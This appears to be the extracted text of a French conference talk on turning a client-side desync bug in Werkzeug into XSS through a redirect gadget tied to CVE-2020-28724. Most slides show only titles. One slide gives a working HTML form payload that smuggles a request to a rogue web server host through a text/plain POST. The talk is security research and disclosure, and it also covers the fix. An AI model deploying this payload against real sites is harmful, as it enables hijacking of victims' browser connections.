Abusing Client-Side Desync on Werkzeug

Werkzeug

Kévin GERVOT

1/27
 

Bug de parsing

Kévin GERVOT

2/27
 

Que faire avec ce type de bug ?

Kévin GERVOT

3/27
 

Client-Side Desync (CSD)

Kévin GERVOT

4/27
 

Client-Side Desync (CSD)

Kévin GERVOT

5/27
 

Client-Side Desync (CSD)

Kévin GERVOT

6/27
 

Client-Side Desync (CSD)

Kévin GERVOT

7/27
 

Client-Side Desync (CSD)

Kévin GERVOT

8/27
 

Client-Side Desync (CSD)

Kévin GERVOT

9/27
 

Client-Side Desync (CSD)

Kévin GERVOT

10/27
 

Client-Side Desync (CSD)

Kévin GERVOT

11/27
 

Exploitation d'une CSD

Kévin GERVOT

12/27
 

Peut-on transformer une CSD en XSS ?

Kévin GERVOT

13/27
 

Problématiques

Kévin GERVOT

  • Pas d'intéraction avec un serveur distant
  • Pas de controle sur les fichiers du serveur vulnérable
  • Pas de vulnérabilités supplémentaires

14/27
 

Idée d'exploitation

Kévin GERVOT

15/27
 

Comment trouver une redirection dans Werkzeug ?

Kévin GERVOT

16/27
 

CVE-2020-28724

Kévin GERVOT

17/27
 

CVE-2020-28724

Kévin GERVOT

18/27
 

Fix de la CVE-2020-28724

Kévin GERVOT

19/27
 

Gadget toujours présent

Kévin GERVOT

20/27
 

Exploitation

Kévin GERVOT

21/27
 

Comment mettre en place l'exploitation depuis un client ?

Kévin GERVOT

22/27
 

Formulaire text/plain

<form action="http://vulnerable-website/" method="POST"
	enctype="text/plain"
>

<textarea name="GET http://rogue-web-server:5000 HTTP/1.1
Foo: x">Mizu</textarea>

<button type="submit">START</button>
</form>

Kévin GERVOT

23/27
 

Formulaire text/plain

Kévin GERVOT

24/27
 

Exploitation de la vulnérabilité

Kévin GERVOT

25/27
 

Correction du bug

Kévin GERVOT

26/27
 

Conclusion

Kévin GERVOT

27/27